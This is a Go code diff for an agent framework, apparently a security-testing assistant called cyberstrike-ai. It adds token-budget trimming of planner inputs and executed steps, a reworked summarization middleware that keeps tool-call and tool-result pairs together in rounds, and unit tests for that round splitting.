return renderPlanExecuteStepsByBudget(capped, appCfg, mwCfg)
|
||||
}
|
||||
|
||||
// planExecuteReplannerGenInput 与 Eino 默认 Replanner 输入一致,但 executed_steps 经 cap 后再写入 prompt,
|
||||
// 且在 orchInstruction 非空时 prepend SystemMessage 使 replanner 也能接收全局指令。
|
||||
func planExecuteReplannerGenInput(orchInstruction string) planexecute.GenModelInputFn {
|
||||
func planExecuteReplannerGenInput(
|
||||
orchInstruction string,
|
||||
appCfg *config.Config,
|
||||
mwCfg *config.MultiAgentEinoMiddlewareConfig,
|
||||
logger *zap.Logger,
|
||||
modelName string,
|
||||
conversationID string,
|
||||
rewriteHandlers []adk.ChatModelAgentMiddleware,
|
||||
) planexecute.GenModelInputFn {
|
||||
oi := strings.TrimSpace(orchInstruction)
|
||||
return func(ctx context.Context, in *planexecute.ExecutionContext) ([]adk.Message, error) {
|
||||
planContent, err := in.Plan.MarshalJSON()
|
||||
@@ -175,8 +216,8 @@ func planExecuteReplannerGenInput(orchInstruction string) planexecute.GenModelIn
|
||||
}
|
||||
msgs, err := planexecute.ReplannerPrompt.Format(ctx, map[string]any{
|
||||
"plan": string(planContent),
|
||||
"input": planExecuteFormatInput(in.UserInput),
|
||||
"executed_steps": planExecuteFormatExecutedSteps(in.ExecutedSteps),
|
||||
"input": planExecuteFormatInput(capPlanExecuteUserInputMessages(in.UserInput, appCfg, mwCfg)),
|
||||
"executed_steps": planExecuteFormatExecutedSteps(in.ExecutedSteps, appCfg, mwCfg),
|
||||
"plan_tool": planexecute.PlanToolInfo.Name,
|
||||
"respond_tool": planexecute.RespondToolInfo.Name,
|
||||
})
|
||||
@@ -186,10 +227,120 @@ func planExecuteReplannerGenInput(orchInstruction string) planexecute.GenModelIn
|
||||
if oi != "" {
|
||||
msgs = append([]adk.Message{schema.SystemMessage(oi)}, msgs...)
|
||||
}
|
||||
if rewritten, rerr := applyBeforeModelRewriteHandlers(ctx, msgs, rewriteHandlers); rerr == nil && len(rewritten) > 0 {
|
||||
msgs = rewritten
|
||||
}
|
||||
logPlanExecuteModelInputEstimate(logger, modelName, conversationID, "plan_execute_replanner", msgs)
|
||||
return msgs, nil
|
||||
}
|
||||
}
|
||||
|
||||
func capPlanExecuteUserInputMessages(input []adk.Message, appCfg *config.Config, mwCfg *config.MultiAgentEinoMiddlewareConfig) []adk.Message {
|
||||
if len(input) == 0 {
|
||||
return input
|
||||
}
|
||||
maxTotal := 120000
|
||||
modelName := "gpt-4o"
|
||||
if appCfg != nil {
|
||||
if appCfg.OpenAI.MaxTotalTokens > 0 {
|
||||
maxTotal = appCfg.OpenAI.MaxTotalTokens
|
||||
}
|
||||
if m := strings.TrimSpace(appCfg.OpenAI.Model); m != "" {
|
||||
modelName = m
|
||||
}
|
||||
}
|
||||
// Reserve most tokens for planner/replanner prompt and tool schema.
|
||||
ratio := 0.35
|
||||
if mwCfg != nil {
|
||||
ratio = mwCfg.PlanExecuteUserInputBudgetRatioEffective()
|
||||
}
|
||||
budget := int(float64(maxTotal) * ratio)
|
||||
if budget < 4096 {
|
||||
budget = 4096
|
||||
}
|
||||
tc := agent.NewTikTokenCounter()
|
||||
out := make([]adk.Message, 0, len(input))
|
||||
used := 0
|
||||
for i := len(input) - 1; i >= 0; i-- {
|
||||
msg := input[i]
|
||||
if msg == nil {
|
||||
continue
|
||||
}
|
||||
n, err := tc.Count(modelName, string(msg.Role)+"\n"+msg.Content)
|
||||
if err != nil {
|
||||
n = (len(msg.Content) + 3) / 4
|
||||
}
|
||||
if n <= 0 {
|
||||
n = 1
|
||||
}
|
||||
if used+n > budget {
|
||||
break
|
||||
}
|
||||
used += n
|
||||
out = append(out, msg)
|
||||
}
|
||||
for i, j := 0, len(out)-1; i < j; i, j = i+1, j-1 {
|
||||
out[i], out[j] = out[j], out[i]
|
||||
}
|
||||
if len(out) == 0 {
|
||||
// Keep the latest user message at least.
|
||||
return []adk.Message{input[len(input)-1]}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func renderPlanExecuteStepsByBudget(steps []planexecute.ExecutedStep, appCfg *config.Config, mwCfg *config.MultiAgentEinoMiddlewareConfig) string {
|
||||
if len(steps) == 0 {
|
||||
return ""
|
||||
}
|
||||
maxTotal := 120000
|
||||
modelName := "gpt-4o"
|
||||
if appCfg != nil {
|
||||
if appCfg.OpenAI.MaxTotalTokens > 0 {
|
||||
maxTotal = appCfg.OpenAI.MaxTotalTokens
|
||||
}
|
||||
if m := strings.TrimSpace(appCfg.OpenAI.Model); m != "" {
|
||||
modelName = m
|
||||
}
|
||||
}
|
||||
ratio := 0.2
|
||||
if mwCfg != nil {
|
||||
ratio = mwCfg.PlanExecuteExecutedStepsBudgetRatioEffective()
|
||||
}
|
||||
budget := int(float64(maxTotal) * ratio)
|
||||
if budget < 3072 {
|
||||
budget = 3072
|
||||
}
|
||||
tc := agent.NewTikTokenCounter()
|
||||
var kept []string
|
||||
used := 0
|
||||
skipped := 0
|
||||
for i := len(steps) - 1; i >= 0; i-- {
|
||||
block := fmt.Sprintf("Step: %s\nResult: %s\n\n", steps[i].Step, steps[i].Result)
|
||||
n, err := tc.Count(modelName, block)
|
||||
if err != nil {
|
||||
n = (len(block) + 3) / 4
|
||||
}
|
||||
if n <= 0 {
|
||||
n = 1
|
||||
}
|
||||
if used+n > budget {
|
||||
skipped = i + 1
|
||||
break
|
||||
}
|
||||
used += n
|
||||
kept = append(kept, block)
|
||||
}
|
||||
var sb strings.Builder
|
||||
if skipped > 0 {
|
||||
sb.WriteString(fmt.Sprintf("Earlier executed steps omitted due to context budget: %d steps.\n\n", skipped))
|
||||
}
|
||||
for i := len(kept) - 1; i >= 0; i-- {
|
||||
sb.WriteString(kept[i])
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// planExecuteStreamsMainAssistant 将规划/执行/重规划各阶段助手流式输出映射到主对话区。
|
||||
func planExecuteStreamsMainAssistant(agent string) bool {
|
||||
if agent == "" {
|
||||
|
||||
@@ -125,7 +125,7 @@ func RunEinoSingleChatModelAgent(
|
||||
return nil, fmt.Errorf("eino single 模型: %w", err)
|
||||
}
|
||||
|
||||
mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, logger)
|
||||
mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("eino single summarization: %w", err)
|
||||
}
|
||||
@@ -145,6 +145,9 @@ func RunEinoSingleChatModelAgent(
|
||||
handlers = append(handlers, einoSkillMW)
|
||||
}
|
||||
handlers = append(handlers, mainSumMw)
|
||||
if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "eino_single"); teleMw != nil {
|
||||
handlers = append(handlers, teleMw)
|
||||
}
|
||||
|
||||
maxIter := ma.MaxIteration
|
||||
if maxIter <= 0 {
|
||||
@@ -165,11 +168,29 @@ func RunEinoSingleChatModelAgent(
|
||||
},
|
||||
EmitInternalEvents: true,
|
||||
}
|
||||
ins := injectToolNamesOnlyInstruction(ctx, ag.EinoSingleAgentSystemInstruction(), mainTools)
|
||||
if logger != nil {
|
||||
names := collectToolNames(ctx, mainTools)
|
||||
mountedNames := collectToolNames(ctx, mainToolsForCfg)
|
||||
hasToolSearch := false
|
||||
for _, n := range names {
|
||||
if strings.EqualFold(strings.TrimSpace(n), "tool_search") {
|
||||
hasToolSearch = true
|
||||
break
|
||||
}
|
||||
}
|
||||
logger.Info("eino tool-name injection",
|
||||
zap.String("scope", "eino_single"),
|
||||
zap.Int("tool_names", len(names)),
|
||||
zap.Int("mounted_tool_names", len(mountedNames)),
|
||||
zap.Bool("has_tool_search", hasToolSearch),
|
||||
)
|
||||
}
|
||||
|
||||
chatCfg := &adk.ChatModelAgentConfig{
|
||||
Name: einoSingleAgentName,
|
||||
Description: "Eino ADK ChatModelAgent with MCP tools for authorized security testing.",
|
||||
Instruction: ag.EinoSingleAgentSystemInstruction(),
|
||||
Instruction: ins,
|
||||
Model: mainModel,
|
||||
ToolsConfig: mainToolsCfg,
|
||||
MaxIterations: maxIter,
|
||||
@@ -188,7 +209,7 @@ func RunEinoSingleChatModelAgent(
|
||||
return nil, fmt.Errorf("eino single NewChatModelAgent: %w", err)
|
||||
}
|
||||
|
||||
baseMsgs := historyToMessages(history)
|
||||
baseMsgs := historyToMessages(history, appCfg, &ma.EinoMiddleware)
|
||||
baseMsgs = append(baseMsgs, schema.UserMessage(userMessage))
|
||||
|
||||
streamsMainAssistant := func(agent string) bool {
|
||||
|
||||
@@ -81,6 +81,6 @@ func subAgentFilesystemMiddleware(ctx context.Context, loc *localbk.Local) (adk.
|
||||
}
|
||||
return filesystem.New(ctx, &filesystem.MiddlewareConfig{
|
||||
Backend: loc,
|
||||
StreamingShell: loc,
|
||||
StreamingShell: &einoStreamingShellWrap{inner: loc},
|
||||
})
|
||||
}
|
||||
|
||||
@@ -3,6 +3,8 @@ package multiagent
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
@@ -32,6 +34,8 @@ func newEinoSummarizationMiddleware(
|
||||
ctx context.Context,
|
||||
summaryModel model.BaseChatModel,
|
||||
appCfg *config.Config,
|
||||
mwCfg *config.MultiAgentEinoMiddlewareConfig,
|
||||
conversationID string,
|
||||
logger *zap.Logger,
|
||||
) (adk.ChatModelAgentMiddleware, error) {
|
||||
if summaryModel == nil || appCfg == nil {
|
||||
@@ -41,7 +45,14 @@ func newEinoSummarizationMiddleware(
|
||||
if maxTotal <= 0 {
|
||||
maxTotal = 120000
|
||||
}
|
||||
trigger := int(float64(maxTotal) * 0.9)
|
||||
triggerRatio := 0.8
|
||||
emitInternalEvents := true
|
||||
if mwCfg != nil {
|
||||
triggerRatio = mwCfg.SummarizationTriggerRatioEffective()
|
||||
emitInternalEvents = mwCfg.SummarizationEmitInternalEventsEffective()
|
||||
}
|
||||
// Keep enough safety margin for tokenizer/model-side accounting mismatch.
|
||||
trigger := int(float64(maxTotal) * triggerRatio)
|
||||
if trigger < 4096 {
|
||||
trigger = maxTotal
|
||||
if trigger < 4096 {
|
||||
@@ -65,6 +76,18 @@ func newEinoSummarizationMiddleware(
|
||||
if recentTrailMax > trigger/2 {
|
||||
recentTrailMax = trigger / 2
|
||||
}
|
||||
transcriptPath := ""
|
||||
if conv := strings.TrimSpace(conversationID); conv != "" {
|
||||
baseRoot := filepath.Join(os.TempDir(), "cyberstrike-summarization")
|
||||
if dbPath := strings.TrimSpace(appCfg.Database.Path); dbPath != "" {
|
||||
// Persist with the same lifecycle as local conversation storage.
|
||||
baseRoot = filepath.Join(filepath.Dir(dbPath), "conversation_artifacts", sanitizeEinoPathSegment(conv), "summarization")
|
||||
}
|
||||
base := baseRoot
|
||||
if mkErr := os.MkdirAll(base, 0o755); mkErr == nil {
|
||||
transcriptPath = filepath.Join(base, "transcript.txt")
|
||||
}
|
||||
}
|
||||
|
||||
mw, err := summarization.New(ctx, &summarization.Config{
|
||||
Model: summaryModel,
|
||||
@@ -73,7 +96,8 @@ func newEinoSummarizationMiddleware(
|
||||
},
|
||||
TokenCounter: tokenCounter,
|
||||
UserInstruction: einoSummarizeUserInstruction,
|
||||
EmitInternalEvents: false,
|
||||
EmitInternalEvents: emitInternalEvents,
|
||||
TranscriptFilePath: transcriptPath,
|
||||
PreserveUserMessages: &summarization.PreserveUserMessages{
|
||||
Enabled: true,
|
||||
MaxTokens: preserveMax,
|
||||
@@ -85,11 +109,16 @@ func newEinoSummarizationMiddleware(
|
||||
if logger == nil {
|
||||
return nil
|
||||
}
|
||||
beforeTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: before.Messages})
|
||||
afterTokens, _ := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: after.Messages})
|
||||
logger.Info("eino summarization 已压缩上下文",
|
||||
zap.Int("messages_before", len(before.Messages)),
|
||||
zap.Int("messages_after", len(after.Messages)),
|
||||
zap.Int("tokens_before_estimated", beforeTokens),
|
||||
zap.Int("tokens_after_estimated", afterTokens),
|
||||
zap.Int("max_total_tokens", maxTotal),
|
||||
zap.Int("trigger_context_tokens", trigger),
|
||||
zap.String("transcript_file", transcriptPath),
|
||||
)
|
||||
return nil
|
||||
},
|
||||
@@ -101,6 +130,14 @@ func newEinoSummarizationMiddleware(
|
||||
}
|
||||
|
||||
// summarizeFinalizeWithRecentAssistantToolTrail 在摘要消息后保留最近 assistant/tool 轨迹,避免压缩后执行链断裂。
|
||||
//
|
||||
// 关键不变量:tool_call ↔ tool_result 的 pair 必须整体保留或整体丢弃。
|
||||
// 把消息切成 round(回合)为原子单位:
|
||||
// - user(...) 单条为一个 round;
|
||||
// - assistant(tool_calls=[...]) 及其后连续的 role=tool 消息合成一个 round;
|
||||
// - 其它 assistant(reply, 无 tool_calls) 单条为一个 round。
|
||||
//
|
||||
// 倒序挑 round(预算不够即放弃该 round),保证 tool 消息不会跨 round 被孤立。
|
||||
func summarizeFinalizeWithRecentAssistantToolTrail(
|
||||
ctx context.Context,
|
||||
originalMessages []adk.Message,
|
||||
@@ -128,80 +165,136 @@ func summarizeFinalizeWithRecentAssistantToolTrail(
|
||||
return out, nil
|
||||
}
|
||||
|
||||
selectedReverse := make([]adk.Message, 0, 8)
|
||||
seen := make(map[adk.Message]struct{})
|
||||
totalTokens := 0
|
||||
assistantToolKept := 0
|
||||
const minAssistantToolTrail = 4
|
||||
rounds := splitMessagesIntoRounds(nonSystem)
|
||||
if len(rounds) == 0 {
|
||||
out := make([]adk.Message, 0, len(systemMsgs)+1)
|
||||
out = append(out, systemMsgs...)
|
||||
out = append(out, summary)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
tryKeep := func(msg adk.Message) (bool, error) {
|
||||
if msg == nil {
|
||||
return false, nil
|
||||
// 目标:至少保留 minRounds 个 round 的执行轨迹;在预算允许时尽量多保留。
|
||||
// 优先确保最后一个 round(通常是最新的 tool 往返或 assistant 回复)存在。
|
||||
const minRounds = 2
|
||||
|
||||
selectedRoundsReverse := make([]messageRound, 0, 8)
|
||||
selectedCount := 0
|
||||
totalTokens := 0
|
||||
|
||||
tokensOfRound := func(r messageRound) (int, error) {
|
||||
if len(r.messages) == 0 {
|
||||
return 0, nil
|
||||
}
|
||||
if _, ok := seen[msg]; ok {
|
||||
return false, nil
|
||||
}
|
||||
n, err := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: []adk.Message{msg}})
|
||||
n, err := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: r.messages})
|
||||
if err != nil {
|
||||
return false, err
|
||||
return 0, err
|
||||
}
|
||||
if n <= 0 {
|
||||
n = 1
|
||||
n = len(r.messages)
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
for i := len(rounds) - 1; i >= 0; i-- {
|
||||
r := rounds[i]
|
||||
n, err := tokensOfRound(r)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// 预算不够:已经保留了足够 round 则停,否则跳过该 round 继续往前找
|
||||
// (避免一个超大 round 挤占全部预算,至少保证有轨迹)。
|
||||
if totalTokens+n > recentTrailTokenBudget {
|
||||
return false, nil
|
||||
if selectedCount >= minRounds {
|
||||
break
|
||||
}
|
||||
continue
|
||||
}
|
||||
totalTokens += n
|
||||
selectedReverse = append(selectedReverse, msg)
|
||||
seen[msg] = struct{}{}
|
||||
return true, nil
|
||||
selectedRoundsReverse = append(selectedRoundsReverse, r)
|
||||
selectedCount++
|
||||
}
|
||||
|
||||
// 优先保留最近 assistant/tool,确保执行轨迹可续跑。
|
||||
for i := len(nonSystem) - 1; i >= 0; i-- {
|
||||
msg := nonSystem[i]
|
||||
if msg.Role != schema.Assistant && msg.Role != schema.Tool {
|
||||
continue
|
||||
}
|
||||
ok, err := tryKeep(msg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if ok {
|
||||
assistantToolKept++
|
||||
}
|
||||
if assistantToolKept >= minAssistantToolTrail {
|
||||
break
|
||||
}
|
||||
// 还原时间顺序
|
||||
selectedMsgs := make([]adk.Message, 0, 8)
|
||||
for i := len(selectedRoundsReverse) - 1; i >= 0; i-- {
|
||||
selectedMsgs = append(selectedMsgs, selectedRoundsReverse[i].messages...)
|
||||
}
|
||||
|
||||
// 在预算内回填更多最近消息,保持短链路上下文。
|
||||
for i := len(nonSystem) - 1; i >= 0; i-- {
|
||||
_, exists := seen[nonSystem[i]]
|
||||
if exists {
|
||||
continue
|
||||
}
|
||||
ok, err := tryKeep(nonSystem[i])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
selected := make([]adk.Message, 0, len(selectedReverse))
|
||||
for i := len(selectedReverse) - 1; i >= 0; i-- {
|
||||
selected = append(selected, selectedReverse[i])
|
||||
}
|
||||
|
||||
out := make([]adk.Message, 0, len(systemMsgs)+1+len(selected))
|
||||
out := make([]adk.Message, 0, len(systemMsgs)+1+len(selectedMsgs))
|
||||
out = append(out, systemMsgs...)
|
||||
out = append(out, summary)
|
||||
out = append(out, selected...)
|
||||
out = append(out, selectedMsgs...)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// messageRound 表示一个"不可分割"的消息回合。
|
||||
// - 对 assistant(tool_calls) + 随后若干 tool 消息的组合,round 内全部 call_id 成对完整;
|
||||
// - 对独立的 user / assistant(reply) 消息,round 仅包含该条消息。
|
||||
type messageRound struct {
|
||||
messages []adk.Message
|
||||
}
|
||||
|
||||
// splitMessagesIntoRounds 将非 system 消息切分为若干 round,保证:
|
||||
// - 每个 assistant(tool_calls) 与其对应的 role=tool 响应消息在同一个 round;
|
||||
// - 孤立(无对应 assistant(tool_calls))的 role=tool 消息不会单独成为 round,
|
||||
// 而是被丢弃(这些消息在 pair 完整性层面已属孤儿,保留反而会触发 LLM 400)。
|
||||
func splitMessagesIntoRounds(msgs []adk.Message) []messageRound {
|
||||
if len(msgs) == 0 {
|
||||
return nil
|
||||
}
|
||||
rounds := make([]messageRound, 0, len(msgs))
|
||||
i := 0
|
||||
for i < len(msgs) {
|
||||
msg := msgs[i]
|
||||
if msg == nil {
|
||||
i++
|
||||
continue
|
||||
}
|
||||
switch {
|
||||
case msg.Role == schema.Assistant && len(msg.ToolCalls) > 0:
|
||||
// 收集该 assistant 提供的 call_id 集合。
|
||||
provided := make(map[string]struct{}, len(msg.ToolCalls))
|
||||
for _, tc := range msg.ToolCalls {
|
||||
if tc.ID != "" {
|
||||
provided[tc.ID] = struct{}{}
|
||||
}
|
||||
}
|
||||
round := messageRound{messages: []adk.Message{msg}}
|
||||
j := i + 1
|
||||
for j < len(msgs) {
|
||||
next := msgs[j]
|
||||
if next == nil {
|
||||
j++
|
||||
continue
|
||||
}
|
||||
if next.Role != schema.Tool {
|
||||
break
|
||||
}
|
||||
if next.ToolCallID != "" {
|
||||
if _, ok := provided[next.ToolCallID]; !ok {
|
||||
// 下一条 tool 不属于当前 assistant,认为当前 round 结束。
|
||||
break
|
||||
}
|
||||
}
|
||||
round.messages = append(round.messages, next)
|
||||
j++
|
||||
}
|
||||
rounds = append(rounds, round)
|
||||
i = j
|
||||
case msg.Role == schema.Tool:
|
||||
// 孤儿 tool 消息:既不跟随在一个 assistant(tool_calls) 后,
|
||||
// 说明它对应的 assistant 已被上游裁剪;直接丢弃,下一步到 orphan pruner
|
||||
// 兜底也不会出错,但在 round 切分这里就剔除更干净。
|
||||
i++
|
||||
default:
|
||||
// user / assistant(reply) / 其它:单条成 round。
|
||||
rounds = append(rounds, messageRound{messages: []adk.Message{msg}})
|
||||
i++
|
||||
}
|
||||
}
|
||||
return rounds
|
||||
}
|
||||
|
||||
func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
|
||||
tc := agent.NewTikTokenCounter()
|
||||
return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {
|
||||
|
||||
@@ -0,0 +1,345 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/cloudwego/eino/adk"
|
||||
"github.com/cloudwego/eino/adk/middlewares/summarization"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
)
|
||||
|
||||
// fixedTokenCounter 让 tool 消息按 tokensPerToolMessage 计,其它消息按 1 计。
|
||||
// 用于验证 tool-round 超预算时整体被跳过的分支。
|
||||
func fixedTokenCounter(tokensPerToolMessage int) summarization.TokenCounterFunc {
|
||||
return func(_ context.Context, in *summarization.TokenCounterInput) (int, error) {
|
||||
total := 0
|
||||
for _, msg := range in.Messages {
|
||||
if msg == nil {
|
||||
continue
|
||||
}
|
||||
switch msg.Role {
|
||||
case schema.Tool:
|
||||
total += tokensPerToolMessage
|
||||
default:
|
||||
total++
|
||||
}
|
||||
}
|
||||
return total, nil
|
||||
}
|
||||
}
|
||||
|
||||
// variableTokenCounter 让 tool 消息按 len(Content) 计(可区分不同大小的 tool 结果),
|
||||
// 其它消息按 1 计;assistant 附加 len(ToolCalls) token 近似 tool_calls schema 开销。
|
||||
func variableTokenCounter() summarization.TokenCounterFunc {
|
||||
return func(_ context.Context, in *summarization.TokenCounterInput) (int, error) {
|
||||
total := 0
|
||||
for _, msg := range in.Messages {
|
||||
if msg == nil {
|
||||
continue
|
||||
}
|
||||
if msg.Role == schema.Tool {
|
||||
total += len(msg.Content)
|
||||
continue
|
||||
}
|
||||
total++
|
||||
total += len(msg.ToolCalls)
|
||||
}
|
||||
return total, nil
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitMessagesIntoRounds_Complex(t *testing.T) {
|
||||
msgs := []adk.Message{
|
||||
schema.UserMessage("q1"),
|
||||
assistantToolCallsMsg("", "c1", "c2"),
|
||||
schema.ToolMessage("r1", "c1"),
|
||||
schema.ToolMessage("r2", "c2"),
|
||||
schema.AssistantMessage("reply1", nil),
|
||||
schema.UserMessage("q2"),
|
||||
assistantToolCallsMsg("", "c3"),
|
||||
schema.ToolMessage("r3", "c3"),
|
||||
}
|
||||
rounds := splitMessagesIntoRounds(msgs)
|
||||
// 5 rounds: user(q1) | assistant(tc:c1,c2)+tool*2 | assistant(reply1) | user(q2) | assistant(tc:c3)+tool(c3)
|
||||
if len(rounds) != 5 {
|
||||
t.Fatalf("want 5 rounds, got %d", len(rounds))
|
||||
}
|
||||
// round 1 应为 tool-round,必须成对
|
||||
r1 := rounds[1]
|
||||
if len(r1.messages) != 3 {
|
||||
t.Fatalf("rounds[1] size: want 3, got %d", len(r1.messages))
|
||||
}
|
||||
if r1.messages[0].Role != schema.Assistant || len(r1.messages[0].ToolCalls) != 2 {
|
||||
t.Fatalf("rounds[1][0] must be assistant(tc=2)")
|
||||
}
|
||||
for i := 1; i < 3; i++ {
|
||||
if r1.messages[i].Role != schema.Tool {
|
||||
t.Fatalf("rounds[1][%d] must be tool, got %s", i, r1.messages[i].Role)
|
||||
}
|
||||
}
|
||||
// 最后一个 round 成对
|
||||
rLast := rounds[len(rounds)-1]
|
||||
if len(rLast.messages) != 2 {
|
||||
t.Fatalf("rounds[last] size: want 2, got %d", len(rLast.messages))
|
||||
}
|
||||
if rLast.messages[0].Role != schema.Assistant || rLast.messages[1].Role != schema.Tool {
|
||||
t.Fatalf("last round must be assistant(tc)+tool(c3)")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitMessagesIntoRounds_DropsOrphanTool(t *testing.T) {
|
||||
// 起点直接是 tool 消息(孤儿)—— 应被丢弃,不独立成 round。
|
||||
msgs := []adk.Message{
|
||||
schema.ToolMessage("orphan", "c_old"),
|
||||
schema.UserMessage("continue"),
|
||||
assistantToolCallsMsg("", "c_new"),
|
||||
schema.ToolMessage("r_new", "c_new"),
|
||||
}
|
||||
rounds := splitMessagesIntoRounds(msgs)
|
||||
// user(continue) | assistant(tc:c_new)+tool(c_new) → 2 rounds
|
||||
if len(rounds) != 2 {
|
||||
t.Fatalf("want 2 rounds after dropping orphan, got %d", len(rounds))
|
||||
}
|
||||
for _, r := range rounds {
|
||||
for _, m := range r.messages {
|
||||
if m.Role == schema.Tool && m.ToolCallID == "c_old" {
|
||||
t.Fatalf("orphan tool c_old must not appear in any round")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitMessagesIntoRounds_ToolBelongsToCurrentAssistantOnly(t *testing.T) {
|
||||
// 两个相邻 assistant(tc),第二个的 tool 不应被归到第一个 assistant。
|
||||
msgs := []adk.Message{
|
||||
assistantToolCallsMsg("", "c1"),
|
||||
schema.ToolMessage("r1", "c1"),
|
||||
assistantToolCallsMsg("", "c2"),
|
||||
schema.ToolMessage("r2", "c2"),
|
||||
}
|
||||
rounds := splitMessagesIntoRounds(msgs)
|
||||
if len(rounds) != 2 {
|
||||
t.Fatalf("want 2 rounds, got %d", len(rounds))
|
||||
}
|
||||
if len(rounds[0].messages) != 2 || rounds[0].messages[0].ToolCalls[0].ID != "c1" {
|
||||
t.Fatalf("round[0] wrong: %+v", rounds[0].messages)
|
||||
}
|
||||
if len(rounds[1].messages) != 2 || rounds[1].messages[0].ToolCalls[0].ID != "c2" {
|
||||
t.Fatalf("round[1] wrong: %+v", rounds[1].messages)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitMessagesIntoRounds_ToolBelongsToWrongAssistant(t *testing.T) {
|
||||
// assistant(tc:c1) 后面跟一个 tool_call_id=c999 的 tool 消息(本不属它)。
|
||||
// 切分规则:该 tool 不应拼入第一个 round(配对不完整),round 在此结束。
|
||||
// 而 c999 又没有对应 assistant,应被当孤儿丢弃。
|
||||
msgs := []adk.Message{
|
||||
assistantToolCallsMsg("", "c1"),
|
||||
schema.ToolMessage("wrong", "c999"),
|
||||
schema.UserMessage("hi"),
|
||||
}
|
||||
rounds := splitMessagesIntoRounds(msgs)
|
||||
// assistant(tc:c1) 没有对应 tool(c1),但不是孤儿(patchtoolcalls 会兜底补);
|
||||
// 它独立成 round 允许上游后处理。user(hi) 独立成 round。共 2 rounds。
|
||||
if len(rounds) != 2 {
|
||||
t.Fatalf("want 2 rounds, got %d: %+v", len(rounds), rounds)
|
||||
}
|
||||
for _, r := range rounds {
|
||||
for _, m := range r.messages {
|
||||
if m.Role == schema.Tool && m.ToolCallID == "c999" {
|
||||
t.Fatalf("wrong-owner tool must be dropped as orphan")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSummarizeFinalize_KeepsToolRoundIntact(t *testing.T) {
|
||||
// 关键回归测试:一个 tool-round 整体被保留,而不是只保留 tool 消息。
|
||||
sys := schema.SystemMessage("sys")
|
||||
summary := schema.AssistantMessage("summary_content", nil)
|
||||
msgs := []adk.Message{
|
||||
sys,
|
||||
schema.UserMessage("q1"),
|
||||
schema.AssistantMessage("reply_before_tc", nil), // 填料,占预算
|
||||
assistantToolCallsMsg("", "c1"),
|
||||
schema.ToolMessage("r1", "c1"),
|
||||
}
|
||||
|
||||
// token 预算:2 条消息(1 assistant + 1 tool)恰好够用。
|
||||
// 若按条数保留,可能先吃 tool(c1) 再吃 assistant(reply) 落入 budget,assistant(tc:c1) 被挤掉,导致孤儿。
|
||||
// 按 round 保留时,整个 tool-round 为原子,要么保留 2 条都在,要么都不在。
|
||||
out, err := summarizeFinalizeWithRecentAssistantToolTrail(
|
||||
context.Background(),
|
||||
msgs,
|
||||
summary,
|
||||
fixedTokenCounter(1),
|
||||
2, // 预算:2 tokens
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
// 必须包含 system + summary
|
||||
if len(out) < 2 {
|
||||
t.Fatalf("output too short: %d", len(out))
|
||||
}
|
||||
if out[0] != sys {
|
||||
t.Fatalf("first message must be system")
|
||||
}
|
||||
if out[1] != summary {
|
||||
t.Fatalf("second message must be summary")
|
||||
}
|
||||
|
||||
// 关键不变量:每个被保留的 tool 消息,必须能在输出中找到提供其 ToolCallID 的 assistant(tc)。
|
||||
assertNoOrphanTool(t, out)
|
||||
}
|
||||
|
||||
func TestSummarizeFinalize_SkipsOversizedToolRoundButKeepsSmallerRound(t *testing.T) {
|
||||
// 构造两个大小差异显著的 tool-round:
|
||||
// c_big round 的 tool 结果 content="aaaaaaaaaa"(10 bytes),round token ≈ 2 (assistant+tc) + 10 = 12
|
||||
// c_ok round 的 tool 结果 content="ok"(2 bytes),round token ≈ 2 + 2 = 4
|
||||
// 配上 budget=8,使得:
|
||||
// - 最新的 c_ok round(4)能放下;
|
||||
// - 进一步的中间 round(assistant reply + user)也能放下;
|
||||
// - 更早的 c_big round(12)放不下会被跳过(continue),而非 break。
|
||||
sys := schema.SystemMessage("sys")
|
||||
summary := schema.AssistantMessage("summary_content", nil)
|
||||
msgs := []adk.Message{
|
||||
sys,
|
||||
schema.UserMessage("q1"),
|
||||
assistantToolCallsMsg("", "c_big"),
|
||||
schema.ToolMessage("aaaaaaaaaa", "c_big"),
|
||||
schema.AssistantMessage("s", nil),
|
||||
schema.UserMessage("q2"),
|
||||
assistantToolCallsMsg("", "c_ok"),
|
||||
schema.ToolMessage("ok", "c_ok"),
|
||||
}
|
||||
|
||||
out, err := summarizeFinalizeWithRecentAssistantToolTrail(
|
||||
context.Background(),
|
||||
msgs,
|
||||
summary,
|
||||
variableTokenCounter(),
|
||||
8,
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
assertNoOrphanTool(t, out)
|
||||
|
||||
// c_big 整个 round 必须被丢弃(tool 和 assistant 都不能出现)
|
||||
for _, m := range out {
|
||||
